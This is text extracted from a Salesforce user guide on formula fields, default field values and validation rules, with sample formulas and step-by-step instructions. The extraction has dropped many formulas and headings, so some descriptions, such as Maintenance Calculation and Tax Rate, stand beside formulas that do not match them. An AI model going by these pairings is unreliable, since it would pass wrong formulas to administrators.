CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
"/s.gif"),
"status color")
For details about using these functions, see IMAGE on page 955 and CASE on page 944.
868
Customize About Formulas
IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")
For details about using these functions, see IMAGE on page 955 and CASE on page 944.
IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")
For details about using these functions, see IMAGE on page 955 and CASE on page 944.
For details about using this function, see IMAGE on page 955.
Integration Links
For details about using these functions, see HYPERLINK on page 952 and GETSESSIONID on page 952.
869
Customize About Formulas
CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"),
"")
For details about using these functions, see CASE on page 944 and HYPERLINK on page 952.
For details about using this function, see HYPERLINK on page 952.
Lead Management
870
Customize About Formulas
Lead Numbering
This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want
to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields
are text fields and must be converted to a number for numeric calculations.
VALUE(Lead_Number__c)
For details about using this function, see VALUE on page 984.
Metrics
Temperature Conversion
This formula converts Celsius degrees to Fahrenheit.
1.8 * degrees_celsius__c + 32
For details about using these operators, see * (Multiply) on page 937 and + (Add) on page 936.
Miles__c/.621371192
For details about using this operator, see / (Divide) on page 937.
Opportunity Management
Expected_close_date__c -TODAY()
871
Customize About Formulas
For details about using this function, see TODAY on page 980.
CASE(
MONTH(CloseDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"Invalid month")
For details about using these functions, see CASE on page 944 and MONTH on page 970.
For details about using these operators, see * (Multiply) on page 937 and + (Add) on page 936.
Maintenance Calculation
This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on
opportunities.
For details about using this operator, see * (Multiply) on page 937.
Monthly_Amount__c * Subscription_Months__c
For details about using this operator, see * (Multiply) on page 937.
Monthly Value
This formula divides total yearly value by 12 months.
Total_value__c / 12
For details about using this operator, see / (Divide) on page 937.
872
Customize About Formulas
For details about using this operator, see + (Add) on page 936.
Opportunity Categorization
This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount
standard field. Opportunities with amounts less than $1500 are “Category 1,” those between $1500 and $10000 are “Category
2,” and the rest are “Category 3.” This example uses nested IF statements.
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))
(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5
For details about using this function, see ISBLANK on page 958.
Expected_rev_licenses__c * Probability
For details about using this operator, see * (Multiply) on page 937.
For details about using these operators, see = and == (Equal) on page 939 and - (Subtract) on page 937.
873
Customize About Formulas
TEXT(ExpectedRevenue)
For details about using this function, see TEXT on page 978.
Amount / total_reps__c
For details about using this operator, see / (Divide) on page 937.
For details about using this operator, see + (Add) on page 936.
Unit_price__c * Volume__c * 20
For details about using this operator, see * (Multiply) on page 937.
Consulting_Days__c * 1200
For details about using this operator, see * (Multiply) on page 937.
CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", …
)
)
874
Customize About Formulas
For details about using this function, see CASE on page 944.
Sales Coach
This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously
defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document
Selection on page 874.
For details about using this function, see HYPERLINK on page 952.
package_weight__c * cost_lb__c
For details about using this operator, see * (Multiply) on page 937.
Ship_cost__c / total_amount__c
For details about using this operator, see / (Divide) on page 937.
IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)
For details about using these functions, see IF on page 953 and ROUND on page 976.
For details about using these operators, see + (Add) on page 936 and * (Multiply) on page 937.
875
Customize About Formulas
Pricing
Total Amount
This formula calculates a total amount based on unit pricing and total units.
Unit_price__c * Total_units__c
For details about using this operator, see * (Multiply) on page 937.
User Pricing
This formula calculates a price per user license.
Total_license_rev__c / Number_user_licenses__c
For details about using this operator, see / (Divide) on page 937.
Project Management
Release_Date__c - 7 * Phase_duration_in_weeks__c
For details about using this operator, see * (Multiply) on page 937.
Scoring Calculations
Lead Scoring
This formula scores leads, providing a higher score for phone calls than website requests.
For details about using this function, see CASE on page 944.
Survey_Question_1__c * 5 + Survey_Question_2__c *2
For details about using these operators, see* (Multiply) on page 937 and + (Add) on page 936.
876
Customize About Formulas
Approval Steps
Defines the criteria a record must match to enter a step in an approval process
Formula Fields
Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify
Users cannot change the value of a formula field.
Validation Rules
Prevents users from entering an invalid value in a standard or custom field
Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid
for that field.
Workflow Rules
Defines the criteria a record must meet to trigger a workflow rule
Field Updates
Automatically changes the value of a field to a value you specify
You can set field updates to occur as a result of a workflow rule or an approval process.
877
Customize Building Formulas
See Also:
Defining Default Field Values
Building Formulas
Defining Field Updates
Building Custom Summary Formulas
Building Formulas
Available in: All Editions
Your custom formula fields require special attributes. To build your formula:
1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 812.
2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your
calculation. See Choosing a Formula Data Type on page 849.
3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency
fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.
878
Customize Building Formulas
4. Click Next.
5. Build your formula:
a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the field type
in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down
list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.
b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 931.
c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions
are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function,
see Operators and Functions on page 931.
d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list
of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function
to view a description and examples of formulas using that function.
e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash
followed by and asterisk (/*), and conclude with an asterisk followed by a forward slash (*/).
Comments are useful for explaining specific parts of a formula to administrators viewing the formula definition. For
example:
AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as closed won and closed lost…allows for
additional closed picklist values in the future */
CONTAINS(TEXT(StageName), "Closed")
)
You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate
errors in the formula.
Note:
• Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */
879
Customize Building Formulas
Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update
last modified date fields. Formula fields are not visible on edit pages.
In account formulas, all business account fields are available as merge fields. However, account fields exclusive to
person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account?
on page 54.
See Also:
About Formulas
Operators and Functions
Elements of a Formula
Formulas: How Do I...
Tips on Building Formulas
Fixing Formula Errors
Building Custom Summary Formulas
Understanding Global Variables
Quick Reference Guide: Formula Fields
- Character limit—Formula fields can contain up to 3900 characters, including spaces, return characters, and comments.
If your formula requires more characters, create separate formula fields and reference them in another formula field.
- Save size limit—Formula fields cannot exceed 4000 bytes when saved. The save size differs from the number of characters
if you use multi-byte characters in your formula.
880
Customize Building Formulas
- Compile size limit—Formula fields cannot exceed 5000 bytes when compiled. The compile size is the size of the
formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between
the compile size and the character. Some functions, such as TEXT, DATEVALUE, and DATE significantly increase
the compile size.
• Long text area, encrypted, and Description fields are not available for use in formulas.
• The value of a field cannot depend on another formula that references it.
• Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it.
• Task Due Date is not available for use in formulas.
• Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation
rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 2041.
• You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page
layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful.
• Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text
indicating if the record is a task or event:
• To reference the unique identifier for your Salesforce.com organization in a formula, insert the $Organization.Id
merge field. This merge field can display anywhere formula fields can except inreports.
• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:
- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)
Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:
• If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts
but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person
accounts page.
• Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date
from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another
date/time to get the number of days between the two in the form of a number. See NOW on page 971 or TODAY on page
980 for suggested use.
881
Customize Building Formulas
• Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate}
+ 5 calculates the date and time five days after a record’s created date. Note that the expression returns the same data type
as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns
a date/time.
• When calculating dates using fractions, Salesforce.com ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is today’s date
TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrow’s date
TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterday’s date
• To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is today’s date
TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrow’s date
• Years cannot be zero and must be between -4713 and 9999.
• To insert text in your formula field, surround the text with quotation marks. For example, to display “CASE: 123,” use
this formula "CASE: "& CaseNumber__c.
• Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example,
"Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.
882
Customize Building Formulas
• The TEXT function always returns picklist values in your organization's master language, not the language of the current
user.
• Multi-select picklist fields can only be used in the following functions:
- INCLUDES
- ISBLANK
- ISNULL
- ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
- PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
See Also:
Building Formulas
Fixing Formula Errors
883
Customize Building Formulas
Cross-object formulas are formulas that span to related objects and reference merge fields on those objects. Cross-object formulas
can reference merge fields from a master (“parent”) object if an object is on the detail side of a master-detail relationship, or
from another object if a lookup relationship to that object exists on the current object. You can reference fields from objects
that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating
default values.
To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the
objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object
and the field with periods. For example, enter Contact.Account.Name to reference the Account Name for a contact
associated with a case in a formula field on the Case object. Be sure to use the relationship names of the objects, not the labels.
Although the relationship name is often the same as the object name, it is technically the field name of the relationship field.
For example, to reference the parent account name from Account object, the syntax is Parent.Name, not Account.Name.
Also, when referencing a custom object, add two underscores and the letter r to its name. For example,
Position__r.title__c references the Job Title field (title__c) on a Position custom object.
To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as
workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields.
Related objects are denoted by a “>” sign.
Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field
that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the
value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an
OR function to ensure the formula always returns the intended result. For example:
IF
(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name
= "PT2"),
"Standard", "Not Standard")
None of the above applies to profile names referenced by the $Profile global variable.
See Also:
Building Formulas
Operators and Functions
884
Customize Building Formulas
• “#Error!” displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the
error, check your formula:
- Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative
value. For example, the following campaign formula field is blank if the number of opportunities is zero:
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)
- Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to
check if the value is a positive number.
- Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make
sure that the number is positive.
- Is the formula using the VALUE function with text that contains special characters? For examples of special characters,
see Operators and Functions on page 931.
- Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT(
HYPERLINK("http://Salesforce.com ", "Salesforce.com ") , 5).
- Is the formula disabled or referencing a disabled formula field? Salesforce.com disables formula fields when they are
deleted and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For
more information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 842.
• “#Too Big!” displays if your formula output is over 18 digits. When this happens, check your formula for calculations that
could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a
very small number.
• CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned.
For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error
even if the value of the field is “Partner” or “Customer” because the last statement is illogical.
• Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example,
IF(Field__c =0,0, 25/Field__c).
885
Customize Defining Default Field Values
1. Begin by creating a custom field; see Creating Custom Fields on page 812. You can also define a default value for an existing
custom field; see Editing Fields on page 822.
2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field
Values on page 887.
3. Enter the attributes for the field.
4. Enter a default value or define a formula to calculate the default value:
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 931.
d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and
Functions on page 931.
e. Click Check Syntax to check your formula for errors.
Note: You can define a formula for default values only where appropriate. For example, the default value options
for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked,
Unchecked, or Use first value as default value.
5. Click Next.
6. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
8. Click Save to finish or Save & New to create more custom fields.
886
Customize Defining Default Field Values
Note: You must specify a default value for required campaign member custom fields.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
See Also:
About Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas
Use default field values to make your users more productive by reducing the number of fields they need to fill in manually.
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields.
After you have defined default values:
The user can change the field's value but the initial default field value is only executed once, during record creation. For
example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to
contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after
the creation date.
Set up default field values for the following types of custom fields:
• Checkbox
• Currency
• Date
• Date/Time
• Email
• Number
• Percent
• Phone
• Picklist (use the default option when setting up the picklist)
• Text
• Text Area
• URL
887
Customize Defining Default Field Values
For a description of these types, see Custom Field Types on page 814.
See Also:
Defining Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas
In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the “IT” department or
15% on any opportunity created by someone in the “Field” department. A zero is applied if the creator does not belong to
either of these departments. This is a custom percent field on opportunities that uses the standard user field Department.
For more information on using this function, see CASE on page 944.
Product Language
You may want to associate a product with its language so that your users know the type of documentation or adapter to include.
Use the following default value formula to automatically set the language of a product based on the country of the user creating
the product. In this example, the default value is “Japanese” if the user's country is “Japan” and “English” if the user's country
is “US.” If neither is true, the default value “unknown” is inserted into the Product Language field.
For more information on using this function, see CASE on page 944.
Tax Rate
Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the
following default value:
888
Customize Defining Default Field Values
In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of
the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate
taxable amounts and final sales prices.
See Also:
Defining Default Field Values
Default Field Value Considerations
About Default Field Values
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following
considerations before incorporating default field values in your organization.
• If a default value is based on the value of a merge field, Salesforce.com uses the value of the merge field at the time the
default value is executed. If the value of the merge field changes later, the default value is not updated.
• Users can change or remove the default field value on a record.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• If you make an activity custom field universally required, you must also provide a default value.
• If an activity custom field is unique, you cannot provide a default value.
• Default field values are different from formula fields in the following ways: they are only executed once, at record creation;
they are not read only; and the user can change the value but cannot restore the default field value.
• Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current
record to create a default field value. For example, you cannot create a default field value on a contact that uses the first
initial and last name because those values are not available when you click New to create a contact record. However, you
can use the record type because it is selected before the record edit page displays.
• To apply a different default value for different record types, use the record type as a merge field in a CASE function within
the default field value setup.
• Fields that are not visible to the user due to field-level security are still available in the formula for a default field value.
• Connect Offline and Connect for Outlook do not display default values. However, Salesforce.com inserts the default values
when a user syncs unless the user entered a value.
• Default field values are not available in the Self-Service portal.
• Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values.
889
Customize Managing Validation Rules
Note: You can define a formula for default values only where appropriate. For example, the default value options for
picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked,
or Use first value as default value.
See Also:
Defining Default Field Values
About Default Field Values
Useful Default Field Value Formulas
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
To begin using validation rules, click Setup ➤ Customize, select the appropriate activity, standard object, or users link from
the menu, and click Validation Rules. For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
Validation rules are listed in the Validation Rules related list. To create a validation rule for the Comment field in Salesforce
CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment Validation Rules.
• To define a validation rule, click New. See Defining Validation Rules on page 892.
• To make changes to a validation rule, click Edit.
• To delete a validation rule, click Del.
• To view details about a validation rule, click field validation name.
• To clone a validation rule, select the rule you want to clone and click Clone.
• To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect
Active to deactivate the rule.
See Also:
About Validation Rules
Examples of Validation Rules
890
Customize Managing Validation Rules
Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the
standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates
the data in one or more fields and returns a value of “True” or “False.” Validation rules also include an error message to display
to the user when the rule returns a value of “True” due to an invalid value.
After you have defined validation rules:
4. The user makes the necessary changes and clicks Save again.
You can specify the error message to display when a record fails validation and where to display it. For example, your error
message can be “The close date must occur after today's date.” You can choose to display it near a field or at the top of the
page. Like all other Salesforce.com error messages, validation rule errors display in red text and are preceded by the word
“Error.”
Important: Validation rules apply to all new and updated records for an object, even if the fields referenced in the
validation rule are not included in a page layout or an API call. If your organization has multiple page layouts for the
object on which you create a validation rule, verify that the validation rule functions as intended on each layout. If
your organization has any integrations that use this object, verify that the validation rule functions as intended for
each integration.
See Also:
Defining Validation Rules
Examples of Validation Rules
891
Customize Managing Validation Rules
Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value.
Before creating validation rules, review the Validation Rule Considerations on page 922.
To create validation rules:
1. For standard objects, click Setup ➤ Customize, select the appropriate activity, tab, or users link, and click Validation
Rules.
For custom objects, click Setup ➤ Create ➤ Objects and select the custom object.
To create a validation rule for the Comment field in Salesforce CRM Ideas, click Setup ➤ Customize ➤ Ideas ➤ Comment
Validation Rules.
To create validation rules for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤
Validation Rules.
2. Click New in the Validation Rules related list.
3. Enter the properties of your validation rule:
Field Description
Rule Name Unique identifier of up to 80 characters with no spaces or special characters such
as extended characters.
Active Checkbox that indicates if the rule is enabled.
Description For internal purposes only. Use this field to enter a 255 character or less description
that distinguishes the validation rule from others.
Error Condition Formula The expression used to validate the field. See Building Formulas on page 879 and
Operators and Functions on page 931.
Error Message The message that displays to the user when a field fails the validation rule.
If your organization uses the Translation Workbench, you can translate the error
message into the languages Salesforce.com supports. See Setting Up the Translation
Workbench on page 437.
892
Customize Managing Validation Rules
Field Description
Error Location Determines where on the page to display the error. To display the error next to a
field, choose Field and select the field. If the error location is a field, the validation
rule is also listed on the detail page of that field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout,
Salesforce.com automatically changes the error location to Top of Page.
Note: Error messages can only be displayed at the top of the page in
validation rules for Salesforce CRM Ideas.
Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule
for a custom activity field, select the validation rule by clicking Setup ➤ Customize ➤ Activities and choose Task
Validation Rules or Event Validation Rules.
See Also:
About Validation Rules
Examples of Validation Rules
Use the following samples for validation rules in Salesforce.com and Force.com AppExchange apps, including:
893
Customize Managing Validation Rules
See Also:
About Validation Rules
Defining Validation Rules
Field Value
Description: Validates that the account Billing Zip/Postal Code is in the correct format if
Billing Country is Canada.
Formula: AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)
Field Value
Description: Validates that the account Billing Zip/Postal Code is valid by looking up the
first five characters of the value in a custom object called Zip_Code__c that contains a
record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object, or the Billing State does not match the corresponding State_Code__c in
the Zip_Code__c object, an error is displayed.
Formula: VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity
Error Message: Billing Zip Code does not exist in specified Billing State.
Error Location: Billing Zip/Postal Code
894
Customize Managing Validation Rules
Field Value
Description: Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999
format if Billing Country is USA or US.
Formula: AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)
Note: This example uses the REGEX function; see Shipping Zip Code on page
895 if you are not familiar with regular expressions.
Field Value
Description: Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format
if Shipping Country is USA or blank.
895
Customize Managing Validation Rules
Field Value
Formula: AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 10, 1)))
)
)
)
)
Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
“USA” in all capital letters. The rule is not enforced when the country is “usa.”
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 974.
Field Value
Description: Validates that the account Billing State/Province is a valid two-character
abbreviation if Billing Country is US, USA, or blank.
896
Customize Managing Validation Rules
Field Value
Formula: AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))
Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or “USA” in all capital letters. The rule is not enforced
when the country is “usa.”
Field Value
Description: Validates that the account Billing State/Province is a valid two-character abbreviation if
Billing Country is CA or CAN.
Formula: AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))
Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation if
Shipping Country is US, USA, or blank.
897
Customize Managing Validation Rules
Field Value
Formula: AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))
Note: This example interprets a blank country as US. To use this example with other countries,
remove the clause that checks the length of the country field. Also, validation rule criteria are
case sensitive, so this rule is only enforced when the country is blank or “USA” in all capital
letters. The rule is not enforced when the country is “usa.”
Field Value
Description: Validates that the account Shipping State/Province is a valid two-character abbreviation, if
Billing Country is CA or CAN.
Formula: AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))
Field Value
Description: Validates that the account Billing Country is a valid ISO 3166 two-letter code.
898
Customize Managing Validation Rules
Field Value
Formula: OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))
Field Value
